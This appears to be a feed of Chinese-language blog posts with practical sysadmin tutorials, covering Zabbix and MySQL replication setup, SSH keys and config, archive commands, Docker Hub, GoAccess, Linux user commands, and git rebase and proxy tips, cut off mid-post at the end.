本着不想当运维的前端不是一个好全栈的思想,我迫切需要自己搭建一套完整的监控系统来解放自己的双手👐️。
我希望这套监控系统是怎样的?
综合以上需求,最后我选择了 Zabbix 。
网上找了一圈,并没有发现合适的入门教程,要么是教程太老了,要么是写的不够详细,学习曲线很陡,光是部署就很费劲,而Zabbix 重要的不是部署,而是学会如何使用。
所以这篇笔记就是用来记录如何快速部署 Zabbix。
Zabbix 是一个企业级的分布式开源监控方案。
一个完整的监控系统是由服务机(zabbix server)和客户机(zabbix zgent)组成,运行大概流程是这样的:
zabbix agent
需要安装到被监控的主机上,它负责定期收集各项数据,并发送到 zabbix server
端,zabbix server将数据存储到自己的数据库中,zabbix web
根据数据在前端进行展现和绘图。这里 agent 收集数据分为主动和被动两种模式:
工作原理:
系统环境:
在正式安装之前,这里推荐先去官网找到符合自己的 Zabbix 服务器平台。
根据自己的实际环境来找到属于自己的下载链接,比如我是Zabbix 5.0 + Ubuntu 18.04 + Mysql + Nginx
,所以我的安装方式应该是:
1 | $ wget https://repo.zabbix.com/zabbix/5.0/ubuntu/pool/main/z/zabbix-release/zabbix-release_5.0-1+bionic_all.deb |
1 | $ apt install zabbix-server-mysql zabbix-frontend-php zabbix-nginx-conf zabbix-agent |
安装完数据库之后,并不能直接登录,因为不知道root 用户的密码,所以需要重置root 用户的密码,重置的方式有多种,这里推荐我常使用的的一种。
1 | # vim /etc/mysql/conf.d/mysql.conf |
重启Mysql 服务:
1 | $ service mysql restart |
现在的root 用户已经没有密码了,所以下一步要做的就是修改root 用户密码:
1 | $ mysql -hlocalhost -uroot -p |
然后再次修改刚才的配置文件,将下面那行配置给注释掉, 最后重启Mysql 服务就可以了。
Mysql 默认用户是root,这里不推荐直接使用 root 用户去管理 zabbix 数据库,所以还是使用官方推荐的方式,创建一个新的用户去管理:
1 | $ mysql -hlocalhost -uroot -p |
这里默认Mysql 是运行在本地机器上,如果Mysql 运行在容器中,而Zabbix 又运行在本机上,可能会出现一些异常(我遇到了但没能解决)。
导入初始架构和数据。
1 | $ zcat /usr/share/doc/zabbix-server-mysql*/create.sql.gz | mysql -uzabbix -p zabbix |
为Zabbix server配置数据库,
1 | # vim /etc/zabbix/zabbix_server.conf |
1 | # vim /etc/zabbix/nginx.conf |
1 | # vim /etc/zabbix/php-fpm.conf |
启动Zabbix server和agent 进程,并为它们设置开机自启:
1 | $ systemctl restart zabbix-server zabbix-agent nginx php7.2-fpm |
一切准备就绪之后,就可以访问了:http://server_ip_or_name
,如果你上面配置的不是80 端口,那得记得加上对应的端口。如果你不能正常访问,那可能是因为防火墙没有允许该端口。
初次进来,需要配置相关参数,确认无误之后,点击 Next step。
Zabbix 默认的用户名和密码是Admin
、zabbix
,顺利登录到后台之后,记得修改默认登录密码。
如果需要设置中文版的环境,需要做一些额外的配置。
1 | $ vim /usr/share/zabbix/include/locales.inc.php |
将zh_CN 后面参数改为 true。
如果在选择语言时,发现还是不能选择,并且提示:
You are not able to choose some of the languages, because locales for them are not installed on the web server.
这是因为你系统里没中文环境,查看当前的所有系统语言环境
1 | $ locale -a |
1 | apt-get install language-pack-zh-hant language-pack-zh-hans |
增加语言和编码的设置:
1 | # vim /etc/environment |
1 | $ cd cd /usr/share/zabbix/locale/zh_CN/LC_MESSAGES |
1 | $ wget https://github.com/chenqing/ng-mini/blob/master/font/msyh.ttf |
1 | $ apt-get install snmp-mibs-downloader |
1 | $ systemctl restart zabbix-server zabbix-agent php7.2-fpm |
至此Zabbix 的完整部署过程就全介绍完了。
Zabbix Agent 的作用是将服务器的数据发送给 Zabbix Server,所以只需要在需要监控的主机上安装 Zabbix Agent 就够了。
因为我的环境是:Ubuntu 18.04
、Nginx
、Mysql
、PHP
,根据官网的选择对应的下载链接。
在有了Mysql
和 Nginx
的情况下,这里我只选择安装 Zabbix Agent
,如果没有的话,那就需要额外安装zabbix-mysql
、zabbix-nginx-conf
、zabbix-frontend-php
。
1 | $ wget https://repo.zabbix.com/zabbix/5.0/ubuntu/pool/main/z/zabbix-release/zabbix-release_5.0-1+bionic_all.deb |
1 | # vim /etc/zabbix/zabbix_agentd.conf |
核心的配置只有这三行,改完之后,重启以下 Zabbix Agent。
1 | $ systemctl restart zabbix-agent |
完成以上配置之后,下一步需要做的就是打开 Zabbix 的Web 端,开始添加主机。
配置主机基础信息:
配置模版:
需要注意的是,如果没有配置模版,可能会导致没有数据。
然后点击添加即可。
打开监控面板,点击主机,正常情况下,主机状态应该是这样的。
至此就完成了Agent 的添加,点击最新数据或者图形可以看到相应的数据。
主机环境:
下面会将主数据库简称为Master,从数据库简称为 Slave。
1 | # vim /etc/mysql/mysql.conf.d/mysqld.cnf |
创建同步用户,并赋予权限(如果从服务器以reql 这个账号进行连接,就赋予同步数据库的权限,并且这个权限是所有数据库的所有数据表)
1 | $ mysql -uroot -p |
上面的IP 是指 Slave 服务器的IP 地址。
重启Mysql 服务。
查看Master 配置:
1 | mysql> show master status; |
1 | # vim /etc/mysql/mysql.conf.d/mysqld.cnf |
重启Mysql 服务。
指定Master 主机
1 | $ mysql -uroot -p |
参数说明:
master_host
:Master∑主机的外网IP 地址master_port
:端口master_user
:Master主机上进行同步的用户master_password
:密码master_log_file
:Master 输出的二进制文件的名称(在Master 主机上使用show master status
命令查看)master_log_pos
:哪里开始同步开启主从同步
1 | mysql> start slave; |
查看从库同步状态
1 | mysql> show slave status; |
Last_Errno: 1146
Last_Error: Error executing row event: ‘Table ‘panda.t’ doesn’t exist’
解决办法:使用slave-skip-errors
参数跳过该错误。
1 | # vim /etc/mysql/mysql.conf.d/mysqld.cnf |
重启从库即可。
]]>ssh config
这样一个东西存在,基本上是摸着石头过河,中间遇到过不少问题,走过不少弯路。最后总结出来了两个解决办法,今天无意间发现原来其中有一个这么好用的工具一直都被我忽略了。
先决条件:在使用ssh 之前,需要先安装好
Openssh
、SSH1
或者是SSH2
。(Linux、Mac用户请忽略)
~/.ssh/config
是通过ssh 连接远程服务器时使用的配置文件。
例如:使用SSH 进行远程连接,一般会这样做:
1 | $ ssh Boo@18.182.201.142 |
在简单地连接情况下,它并不麻烦。但是当端口号不是默认值(22)时,当密钥对不是默认名称时,连接就变得复杂了。
1 | # 指定端口连接 |
此时,使用ssh config
就变得很有用了。
1 | # vim ~/.ssh/config |
现在在连接使用如下命令:
1 | $ ssh aliyun |
是不是非常的方便!就算此时手上有多台服务器需要管理,只要配置好对应的~/.ssh/config
参数,就可以很轻松的进行连接了。
但需要注意的是:有关ssh 的配置不能分成多个文件,只能写在这一个文件中~/.ssh/config
(如果你有更好的办法)。
SSH 的配置文件同样适用于其他程序,如:scp
,sftp
等。
SSH Config 的关键字不区分大小写,但是参数区分大小写。
ssh aliyun
注:Host 关键字可以包含以下模式匹配:
*
- 匹配零个或多个字符。例如,Host 将匹配所有主机,同时`192.168.0.匹配
192.168.0.0/24`子网中的所有主机。10.10.0.?
将匹配10.10.0.[0-9]
范围内的所有主机。10.10.0.*
!10.10.0.5
将匹配10.10.0.0/24
子网中的任何主机,除了10.10.0.5
。全局配置文件:/etc/ssh/ssh_config
用户配置文件:~/.ssh/config
ssh 客户端按以下优先顺序读取其配置:
如果希望SSH 客户端忽略ssh 配置文件中指定的所有选项,可以使用:
1 | $ ssh -F user@example.com |
常用SSH 的小伙伴可能都知道,使用SSH 连接到远程服务器之后,如果一段时间没有输入任何指令,很有可能会断开与服务器的连接,需要重连就会变得很麻烦。
此时,ssh config 又变得很有用了。
1 | #定期向服务器发送实时报告(每60秒,可以自定义) |
Cygwin
和MinGW64
这两个东西,只是当时不是很理解这两个东西是做什么的,还经常和msysGit
搞混淆,加上最近用MinGW64
用的很不顺手,所以打算安装一个Cygwin
。首先来介绍下这三者分别是什么。
Cygwin是一个类似Unix的环境和Microsoft Windows命令行界面。
大量GNU和开源工具,提供类似于 Windows上的 Linux发行版的功能。用官网的话说就是:在Windows 上获取Linux 的感觉。
MSYS(MSYS | MinGW) 是一个在 Windows 下的类Unit
工作环境。因为 Git 里面包含很多 Shell 跟 Perl 脚本,所以它(Git)需要一个这样的环境。
每次右键打开Git Bash
时,其终端就是MinGW64
msysGit是一个构建环境,其中包含希望通过为Git for Windows编写代码来贡献所需的所有工具。
所以,Git for Windows 可以在 Windows 上安装可运行 Git 的最小环境,而 msysGit 是构建 Git for Windows 所需的环境。
安装Cygwin 的过程比MinGW 要复杂些,其中主要需要注意的是模块部分。
Cygwin 好用的原因很大程度上是因为其功能之丰富,而各种功能则是来自于其模块。
终于安装好了,感觉很厉害的样子,是我想要的东西,希望在今后的日子中 能和它好好相处。
Mintty是一个终端仿真器 用于Cygwin的, MSYS或 Msys2 和衍生的项目,以及用于WSL。
所以这篇笔记就是用来整理常见的那些解压、压缩、打包的命令。
在正式学习之前,需要明确的两个概念,打包和压缩不是一回事:
为什么要区分这两个概念呢?这源于Linux 中很多压缩程序只能针对一个文件进行压缩,这样当你想要压缩一大堆文件时,你得先将这一大堆文件先打成一个包(tar命令),然后再用压缩程序进行压缩(gzip bzip2命令)。
仅打包,不压缩。
1 | tar -cvf foo.tar foo |
foo.tar
这个文件名是自定义的,只是习惯上我们使用 .tar
作为包文件。
打包,且压缩。-z
参数表示以 .tar.gz
或者 .tgz
后缀名代表 gzip 压缩过的 tar 包。
1 | tar -zcvf foo.tar.gz foo |
打包,且压缩。-j
参数表示以 .tar.bz2
后缀名作为tar包名。
1 | tar -jcvf foo.tar.gz foo |
在当前目录下直接解压:
1 | tar -zxvf foo.tar.gz |
注意,如果这个目录下有同名的文件,不会询问,直接覆盖。
解压至指定文件夹:
1 | tar -zxvf foo.tar.gz -C <dir name> |
gzip 命令用来压缩文件。文件经它压缩过后,其名称后面会多处 .gz
扩展名(不带 .tar
)。
将当前目录的每个文件压缩成.gz
文件:
1 | gzip * |
递归压缩指定目录的所有文件及子目录:
1 | gzip -r <dir name> |
解压当前目录下的foo.gz
文件:
1 | gzip -d foo.gz |
解压完成之后,foo.gz
就变成了 foo
文件。
递归解压目录:
1 | gzip -dr <dir name> |
解压完成之后,<dir name>
目录下的所有 .gz
文件都会变成正常文件。
zip
可以用来解压缩文件,或者对文件进行打包操作。文件经它压缩后会另外产生具有 .zip
扩展名的压缩文件。
将当前目录下的指定目录,压缩为 .zip
文件:
1 | zip -q -r foo.zip <dir name> |
将指定目录下的所有文件及其文件夹,压缩为.zip
文件:
1 | zip -q -r foo.zip /<path to dir> |
注意,产生的压缩文件在执行命令的那个目录下。
unzip 命令用于解压缩由 zip 命令压缩的 .zip
压缩包。
查看压缩包内容:
1 | unzip -v foo.zip |
将压缩文件在指定目录下解压缩,如果已有相同的文件存在,要求 unzip命令不覆盖原先的文件。
1 | unzip -n foo.zip -d /<file to dir> |
将压缩文件在当前目下解压,如果已有相同的文件,不询问,直接覆盖。
1 | unzip -o foo.zip |
Linux 下的压缩解压其实并不复杂,只是不常用的情况下,很容器忘记。
如果你不知道在什么场景下,该使用什么命令,可以参照:
gzip
或者 zip
命令。tar
命令。目前大部分需求都可以直接在 Docker Hub 中下载镜像来实现,如果想使用自己仓库中的镜像,那么需要先注册一个账号。
想要从 Docker Hub 使用自己的镜像之前,首先得创建一个仓库,然后将目标镜镜像 push 到该仓库。
这个仓库可以是公开的也可以是私有的,这个并不影响你正常使用。
创建成功之后,就可以看到该仓库了。
在发布之前,确保你本地存在目标镜像,可以使用 docker images
来查看:
1 | $ docker images |
创建 Tag:
1 | # 语法 |
前面的 tagname
是本地镜像的标签名称,后面的tagname
是该镜像在仓库中的标签名称。
再次查看本地镜像:
1 | $ docker images |
发布镜像:
1 | # 语法 |
发布成功之后,可以打开 Docker Hub 在 Repositories 的列表中就看到刚才的镜像了。
首先需要在命令行中登录你的 docker hub 账号:
1 | $ docker login |
拉取自己的镜像,这里以 adminer 这个镜像为例:
1 | docker run --link mysql:mysql --name adminer \ |
唯一需要注意的就是最后一行,如果想要使用官方最新版本的 adminer ,那就直接写成 adminer,但如果想要使用自己的镜像,那就需要写成 username/repo:tagname
的格式。
查看本地所有镜像:
1 | $ docker images |
此持就完成了Docker 镜像的发布和拉取了,当然这只是 Docker Hub 所有功能中的冰山一角。
]]>这么做的目的是为了防止服务器密码被暴力破解。
ssh 是什么?
ssh 是一种协议,它可以基于密码进行认证,也可以基于密钥去认证用户。
这里我们使用 RSA
类型的加密类型来创建密钥对。
1 | ssh-keygen -f ~/.ssh/your_key_name |
-f
参数表示指定密钥对生成位置与名称$HOME/.ssh
目录下创建成功之后,可以看到 .ssh
目录下多了两个文件,分别是:
your_key
:密钥对的私钥,通常放在客户端。your_key.pub
:密钥对中的公钥,通常放在服务端。注意:这里是将your_key.pub
公钥文件上传至你需要连接的服务器,而不是your_key
私钥文件。
1 | ssh-copy-id -i ~/.ssh/your_key.pub user@<ip address> -pport |
-i
参数表示使用指定的密钥,-p
参数表示指定端口,ssh 的默认端口是 22,如果没有更改默认端口,则可以省略。
这里需要输入一次密码进行确认,如果成功之后,会看到以下内容:
本地的公钥文件上传在服务器的哪里?
在该用户的.ssh/authorized_keys
文件中。
1 | cat ~/.ssh/authorized_keys |
现在我们可以使用以下命令登录到服务器中了:
1 | ssh -p port -i ~/.ssh/your_key user@<ip address> |
不出意外,就可以不用输入密码而直接成功登录了。
如果你仍然需要输入密码或者遇到其他问题了,可以从以下方向进行排查。
-i
参数,指定对应密钥的名称。否则由于默认私钥与远程主机中的自定义公钥不匹配,自然无法基于密钥进行认证,会再次提示你输入密码。$HOME/.ssh
目录的正常权限是700,服务端$HOME/.ssh/authorized_keys
文件的权限默认为600。上面的命令虽然可以实现免密登录,但是命令太长了,就算是复制粘贴也有可能会出错。
那有没有什么好的办法,解决这个问题呢?
当然是有的啦。
在$HOME/.ssh
目录下,创建一个名为config
的文件。
1 | vim $HOME/.ssh/conifg |
加入以下配置:
1 | Host alias |
参数说明:
ssh alias
进行登录。当然,如果你是使用ssh 客户端
,那就不用配置这些。
如果上面的配置都无误,可以正常通过密钥进行免密登录,那么最后需要做的一件事情就是关闭服务端的通过密码进行身份认证。
1 | vim /etc/ssh/sshd_config |
然后重启 sshd 服务。
1 | service sshd restart |
以上就是有关如何用自定义的密钥对进行免密认证的全部过程了。
]]>命名规范包含了:目录、文件、变量、函数命名。
值得一提的是:命名规则没有谁对谁错,在项目中保持一致才是关键。
混乱或错误的命名不仅让我们对代码难以理解,更糟糕的是,会误导我们的思维,导致对代码的理解完全错误。
相反,良好的命名,则可以让我们的代码非常容易读懂,也能向读者正确表达事物以及逻辑的本质,从而使得代码的可维护性就大大增强,读命名好的文章是非常流畅的,会有一种享受的感觉。
因为Windows,OSX 下文件夹不区分大小写,Linux 是区分的。所以在文件夹的命名上面,建议全部用小写。可以包含下划线(_
)或连字符(-
)。如果没有约定,(_
)更好。
文件的命名也是推荐和目录的连字符保持一致。Linux 文件系统推荐的文件命名是下划线(_
)。
类型名称通常使用大写驼峰命名法
1 | class MyClass |
不管是静态还是非静态,类数据成员的命名都可以和普通变量一样,采用驼峰命名法:
1 | class MyClass { |
一般名称的前缀都是有第一规律的,如is(判断)、get(得到),set(设置)。
变量的命名有两种方式:
但通常还是推荐使用,下划线命名法(全是小写)。
不同的语言也是有不同的规范,例如JavaScript 变量推荐驼峰命名法,CSS 推荐连字符(-)。
常量和全局常量通常使用全大写和下划线的方式来命名,例如:
1 | const MY_CONSTANT; |
1 | //引用变量 |
函数的命名使用下划线命名法:
1 | function my_function(){ |
函数和方法的区别:
函数是一段可以重用的代码块,方法是在类里面的函数。
参考链接:
]]>很显然我完全忽视了它的强大性,就拿 nginx 的访问日志来说,可以从中分析出如下信息:
通过这些信息,可以得到响应耗时的请求以及请求量和并发量,从而分析并发原因,这对于应用级别的服务来说是非常重要的。
GoAccess 是一个开源的实时网络日志分析器和交互式查看器,可以在类 Unix 系统中的终端或通过浏览器运行。 —— GoAccess 官方
为什么选择 GoAccess?
因为GoAccess 被设计成一个基于终端的快速日志分析器。它的核心思想是实时快速分析和查看Web服务器统计信息,而无需使用浏览器。同时也可以将输入到HTML 或者 CSV、JSON。
GoAccess几乎可以解析任何Web日志格式(Apache,Nginx,Amazon S3,Elastic Load Balancing,CloudFront等)。只需要设置日志格式并根据您的日志运行它。
昨天在使用 GoAccess 时,踩到了一些坑,导致我一度认为这个工具是不是存在什么Bug。因为在看别人的教程中都是开箱即用。
下面从安装到使用会一一详细说明。
因为服务器的操作系统是 Ubuntu
,所以这里以 Ubuntu
为例:
因为并非所有发行版都提供最新版本的 GoAccess,所以这里使用官方提供的最新稳定版的安装方式
1 | $ echo "deb http://deb.goaccess.io/ $(lsb_release -cs)main" | sudo tee -a /etc/apt/sources.list.d/goaccess.list |
在计算机安装了GoAccess 之后,要做的第一件事情就是确定访问日志的日志格式,可以在永久设置它们,也可以通过命令行传递他们。
这里用Nginx 的 access.log 为例
1 | 36.113.128.155 - - [28/Apr/2019:02:20:01 +0000] "GET /Manage/Dingdan/fail_index/startTime/2019-04-28+00%3A00%3A00/endTime/2019-04-28+23%3A59%3A59.html HTTP/1.1" 200 7798 "http://www.692213.com/Manage/Dingdan/fail_index/startTime/2019-04-28+00%3A00%3A00/endTime/2019-04-28+23%3A59%3A59.html" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" |
方式一,配置.goaccessrc
文件:
1 | vim ~/.goaccessrc |
方式二,在命令行传递参数:
1 | $ goaccess nginx/access.log --log-format='%h %^[%d:%t %^] "%r" %s %b "%R" "%u" %^' --date-format=%d/%b/%Y --time-format=%T |
注意:无论是配置文件还是命令行参数 都不是永远不变的,只是相对于你要监控的日志格式。
方式一,通过-p
参数,指定配置文件。
1 | $ goaccess nginx/access.log -p ~/.goaccessrc |
方式二,直接在命令行参数中指定日志格式,详情见上面的例子。
以下提示使用预定义日志格式的日志配置对话框供您选择,然后实时显示统计信息。
1 | $ goaccess nginx/access.log -c |
通常选择第三个,通用日志格式(CLF),成功之后就是这样个样子:
控制台下的操作方法:
1 | * F1或h主要帮助。 |
以下内容分析访问日志并在静态HTML报告中显示统计信息。
1 | $ goaccess -a -d -f nginx/access.log.1 -p ~/.goaccessrc -o /var/www/report.html |
1 | $ goaccess -a -d -f nginx/access.log.1 -p ~/.goaccessrc -o /var/www/report.html --real-time-html |
然后用浏览器访问,大概就是这个样子:
GoAccess 的配置文件位于%sysconfdir%/goaccess.conf
或~/.goaccessrc
其中,%sysconfdir%是 /etc/,/usr/etc/ 或 /usr/local/etc/
time-format
和date-format
的格式通常都是固定的,只有log-format
的格式视具体日志格式而定。
1 | time-format %T |
log-format
常用格式说明:
1 | * %x与时间格式和日期格式变量匹配的日期和时间字段。当给出时间戳而不是日期和时间在两个单独的变量中时使用。 |
-f
:指定需要分析的日志文件路径-c
:程序启动时提示日志/日期配置窗口-p
:指定要使用的自定义配置文件-d
:在HTML或JSON输出上启用IP解析器-o
:输出到指定扩展名文件中(Html、Json、CSV)-a
:按主机启用用户代理列表。为了更快地解析,请不要启用此标志-d
:在HTML或JSON输出上启用IP解析器。总结:GoAccess 从安装到使用还是非常方便的,不仅可以对历史的日志进行分析,也能实时对日志进行分析,所支持的日志格式基本能满足大多数应用场景。
进入控制台,找到 Compute Engine,点击创建实例。
新建虚拟机实例,选择相应的配置。
选择操作系统映像,以及磁盘大小。
基本配置如下:
然后点击创建就可以了。创建成功之后,就可以看到该服务器的IP地址了。
这里需要注意的是,Google Cloud 的远程连接SSH 的方式与其他平台有所区别。
Compute Engine =》元数据 =》SSH 密钥
找到修改,然后上传你的 SSH Key。
不知道SSH Key 是什么?
1 | $ ssh-keygen -t rsa |
使用ssh -i max@35.241.77.3
命令连接,其中 max 是用户名,后面是对应服务器 ip地址。
wget 命令用于文件的下载,
1 | # 下载Ubuntu 18.04 桌面版和服务端版 |
wget默认会以最后一个符合”/”的后面的字符来命令,对于动态链接的下载通常文件名会不正确。
为了解决这个问题,我们可以使用参数-O来指定一个文件名:
1 | $ wget -O file.zip http://www.minjieren.com/download.aspx?id=1080 |
当需要下载比较大的文件时,使用参数-b
可以隐藏在后台进行下载:
1 | $ wget -b http://www.minjieren.com/wordpress-3.1-zh_CN.zip |
可以使用以下命令来察看下载进度:
1 | $ tail -f wget-log |
scp 命令用于文件传输,在不能使用 XShell 这类工具时,scp能很好的解决文件上传的问题。
1 | $ scp -r /c/User/Desktop/dirname username@34.92.117.222:/tmp/dirname |
1 | $scp -r Boo@34.92.117.222:/tmp/dirname /c/Users/Boo/Desktop/dirname |
如果存在端口号:
注意:-P
参数是大写。
1 | scp -P 58812 root@103.232.86.239:/tmp/runfast_0603.sql ~/File/ |
其中 -r
参数表示目录,username
表示服务器对应用户,@
后面接服务器地址。
注意:不要直接使用 root 用户,因为总是会提示你权限不足。另外使用非 root 用户时,需要注意文件夹权限的问题。
zip 命令用于对文件进行打包处理,也就是我们常说的压缩。文件经压缩之后会生成一个具有.zip
扩展名的压缩文件。
将当前目录的dir
目录下的所有文件及文件夹压缩为 example.zip
1 | $ zip -r -q example.zip dir |
将当前目录下的所有文件及文件夹压缩为 example.zip
1 | $ zip -r -q * |
将指定文件目录的所有文件及文件夹压缩为 example.zip
1 | $ zip -r -q exmaple.zip /tmp/dir |
unzip 命令用于解压缩由 zip 命令压缩的“.zip”压缩包。
查看压缩文件
1 | $ unzip -v dir.zip |
将压缩文件在当前目录下解压
1 | $ unzip example.zip |
将压缩文件example.zip
在指定目录/tmp
下解压缩,如果已有相同的文件存在,要求 unzip命令不覆盖原先的文件。
1 | $ unzip -n example.zip -d /tmp |
将压缩文件example.zip
在当前目dir
下解压,如果已有相同的文件,不询问,直接覆盖。
1 | $ unzip -o example.zip -d |
-o
参数表示不必先询问用户,unzip执行后覆盖原有的文件;-d
参数指定文件解压缩后所要存储的目录;-n
参数解压缩时不要覆盖原有的文件;
tar 命令可以为linux 文件和目录创建档案。
利用tar命令,可以把一大堆的文件和目录全部打包成一个文件。
需要明确的两个概念是:打包和压缩是不同的两件事。
为什么要区分这两个概念呢?这源于Linux中很多压缩程序只能针对一个文件进行压缩,这样当你想要压缩一大堆文件时,你得先将这一大堆文件先打成一个包(tar命令),然后再用压缩程序进行压缩(gzip bzip2命令)。
仅打包,不压缩。
1 | $ tar -cvf test.tar 20200323.log |
test.tar
这个文件名是自定义的,只是习惯上我们使用.tar
作为包文件。
打包,且压缩。-z
参数表示以.tar.gz
或者.tgz
后缀名代表gzip
压缩过的tar
包。
1 | $ tar -zcvf test.tar.gz 20200323.log |
打包,且压缩。-j
参数表示以.tar.bz2
后缀名作为tar
包名。
1 | $ tar -jcvf test.tar.bz2 20200323.log |
1 | $ tar -ztvf test.tar.gz |
因为使用gzip
命令压缩的test.tar.gz
,所以查看压缩包时需要加上-z
参数。
如何只解压部分文件?
1 | $ tar -ztvf test.tar.gz 20200323.log |
这种方式仅限于取一个文件。
在该目录下直接解压:
1 | $ tar -zxvf test.tar.gz |
解压至指定文件夹:
1 | $ tar -zxvf test.tar.gz -C log |
.gz
压缩包(不带tar),需要使用gzip 命令去解压。
1 | gzip test.gz -d /<filename> |
-d
参数用于指定解压位置
如何查看Linux 的发行版本?
1 | $ lsb_release -a |
crontab 命令被用来提交和管理用户的需要周期性执行的任务,与windows下的计划任务类似。
w命令用于显示已经登陆系统的用户列表,并显示用户正在执行的指令。
不带任何参数,会显示当前登入系统的所有用户
1 | $ w |
第一行显示的字段信息分别是:
第二行几个字段分别表示:
who 命令用于查看目前登入系统的用户信息,与w
命令类似。
显示当前登入系统中的所有用户信息
1 | $ who |
-m
:效果等同于执行whoami
命令-q或--count
:只显示登入系统的帐号名称和总人数;-H
:增加显示用户信息状态栏
last 命令用于查看用户最近的登入信息
输出最后10 条登入信息
1 | $ last -3 |
查看指定用户的登入信息
1 | $ last Boo -3 |
pkill命令可以按照进程名杀死进程,可以用于踢出当前登入系统的用户。
可以使用pkill
命令踢出当前正登入系统中的用户,但是这么做很危险,更好的解决办法是:
先查看终端号,然后查看该终端执行的所有进程,根据进程号来停止服务。
1 | $ ps -ef| grep pts/0 |
passwd 命令用于设置用户的认证信息,包括用户密码、密码过期时间等。
系统管理者则能用它管理系统用户的密码。只有管理者可以指定用户名称,一般用户只能变更自己的密码。
ss 命令用来显示处于活动状态的套接字信息。ss 命令可以用来获取socket 统计信息,它可以显示和netstat 类似的内容。但ss 的优势在于它能够显示更多更详细的有关TCP 和连接状态的信息,而且比netstat 更快速更高效。
显示所有的tcp 套接字
1 | $ ss -t -a |
显示Socket 摘要
1 | $ ss -s |
列出所有打开的网络连接端口
1 | $ ss -l |
找出打开套接字/端口应用程序
1 | $ ss -pl | grep 6666 |
存放用户信息:
1 | $ cat /etc/passwd |
用户信息文件分析(每项用:隔开):
1 | jack:X:503:504:::/home/jack/:/bin/bash |
存放组信息:
1 | cat /etc/group |
用户组信息文件分析:
1 | jack:$!$:???:13801:0:99999:7:*:*: |
如果是普通用户执行passwd只能修改自己的密码。如果新建用户后,要为新用户创建密码,则用passwd用户名,注意要以root用户的权限来创建。
1 | # 修改boo 用户的密码 |
问题描述:有时候我们在本地提交完代码,下一个操作是需要推送到远程仓库,这时如果远程仓库已经有了更新的提交,那么当我们执行完git push
命令之后,不出意外会出现以下错误:
1 | ! [rejected] master -> master (fetch first) |
这时错误的意思是:推送失败,你需要先将远程仓库最新的提交更新到本地仓库,然后才能 git push
。
所以这个时候你有两个选择:
git pull
自动合并git fetch
手动合并前者虽然用起来很方便,但是自动合并会留下一次合并记录,类似这样:
1 | Merge branch 'master' of bitbucket.org:maxt2013/invest_home |
虽然这并不会影响什么,但如果你很重视 commit logs
,那么这样的一次记录,是不被容忍的。
后者通过手动合并,确实可以做到没有多余的合并记录,但是每次手动合并有比较麻烦,那么有没有什么折中的方式,既可以不留下多余的记录,有比较省事。
答案是有的,它就是我们下面要介绍的“变基”。
下面这条命令会将远程仓库中最新的提交合并到本地仓库,--rebase
参数的作用是先取消 commit 记录,并把它们临时保存为补丁(patch),这些补丁放在 .git/rebase
目录中,等远程仓库同步至本地之后,最后才将补丁合并到本地仓库。
1 | git pull --rebase origin master |
下面用图来解释具体发生了什么。
git pull
之前的情况:
使用 git pull --rebase origin
:
最后使用 git push
:
如果你对 commit logs
有强烈的控制欲望,那么变基命令是适合你的,如果你是使用git 的新手,或者你不在意 commit logs
,那么直接使用 git pull
自动合并就好了。
Error during WebSocket handshake: Unexpected response code: 400
。起初我没太在意,以为就是正常的 socket.io
连接断开了。
直到我发现 socker.io
的通讯方式由原来的在一个连接中通讯变成了每一次推送都重起一个请求,我才意识到可能是哪里出问题了。
经过一番查找,了解到 nginx 在作为反向代理时,如果需要使用 wss
,那么还需要额外加一段配置。
NGINX supports WebSocket by allowing a tunnel to be set up between a client and a backend server. For NGINX to send the Upgrade request from the client to the backend server, the Upgrade and Connection headers must be set explicitly. —— Nginx 官网
翻译过来就是:nginx 通过允许在客户端和后端服务器之间建立连接来支持 websocket 通讯,为了使 nginx 将升级请求从客户端发送到后端服务器,必须明确设置 Upgrade 和 Connection 标头。
1 | location / { |
第一行是 nginx 反向代理的配置,后面四行才是这个问题的解决方案。
仔细想一想,因为本地没有 https 的概念,并没有发现这个问题,而线上是有配置证书的,所以暴露出了这个问题。
socket.io
的请求并没有真正达到,请求发出之后中间为什么没有到达节点,这个是解决问题的关键。
为了使 nginx 正确处理 socket.io
所需要做的就是正确设置标头,以处理将连接从 http 升级到 websocket 的请求。
最近在使用git 时,需要克隆Bitbucket
的一个仓库,于是像往常一样打开了iTerm
,便放在一边了。
直到一个小时后,我才想起来,想着应该克隆完了,打开才发现百分之一都没下载完。
强大的长城技术对GitHub、Bitbucket 这类源代码托管服务平台网开一面,并没有像Google、FaceBook那样直接一刀切,但是它做了严格的限速,这种折磨简直比无法访问更难受。
上图中git clone
的速度从来没有超过 10k/s
,这也就意味着一个 100M
的项目,需要近三个小时才能下载完,而且由于网络的不稳定性,下载过程中偶尔会出现断开连接的情况,由于git clone
不支持端点续传,这就会导致前几个小时的下载量完全浪费掉了,只能重新开始下载。
这篇文章主要用来介绍几种方式可以快速的克隆远程仓库。
git clone
默认会下载项目的完整历史版本,如果你只关心代码,而不关心历史信息,那么可以使用 git 的浅复制功能:
1 | $ git clone --depth=1 https://github.com/bcit-ci/CodeIgniter.git |
--depth=1
表示只下载最近一次的版本,使用浅复制可以大大减少下载的数据量,例如,CodeIgniter 项目完整下载有近 100MiB ,而使用浅复制只有 5MiB 多,这样即使在恶劣的网络环境下,也可以快速的获得代码。
如果之后又想获取完整历史信息,可以使用下面的命令:
1 | $ git fetch --unshallow |
或者,如果你只想下载最新的代码,你也可以直接从远程仓库下载打包好的zip
文件,这会比浅复制更快,因为它只包含了最新的代码文件,而且zip
是压缩文件。但是很显然,使用浅复制会灵活一些。
如果你有幸正在使用代理,懂得如何科学上网的话,那么访问GitHub
、Bitbucket
对你来说应该不在话下。
从源代码托管服务平台下载项目最简单的方法就是使用一款图形化界面(GUI
)的Git工具。
使用GUI
工具方便之处就在于,可以在设置中直接配置是否使用代理。或者直接将代理配置尾系统代理。
如果你跟我一样,更喜欢使用原生的git
命令,喜欢使用在命令行下操作的那种感觉,那么你也可以在命令行下直接配置代理。
这里也有两种方式,根据实际情况自行选择。
1 | $ git config --global http.proxy http://127.0.0.1:1087 |
或者直接编辑~/.gitconifg
文件
1 | # vim ~/.gitconfig |
1 | $ git config --global http.proxy socks5://127.0.0.1:1086 |
其中,1087
、1086
分别是你本地机器的 http
、socks5
代理的端口号。
另外,如果想取消设置,可以输入以下命令:
1 | $ git config --global --unset http.proxy |
配置完成后,重新 clone
一遍,可以看到速度得到了极大的提升。
注意⚠️
上面这种配置方式仅适用于 https
协议,如果你在clone
时选择ssh
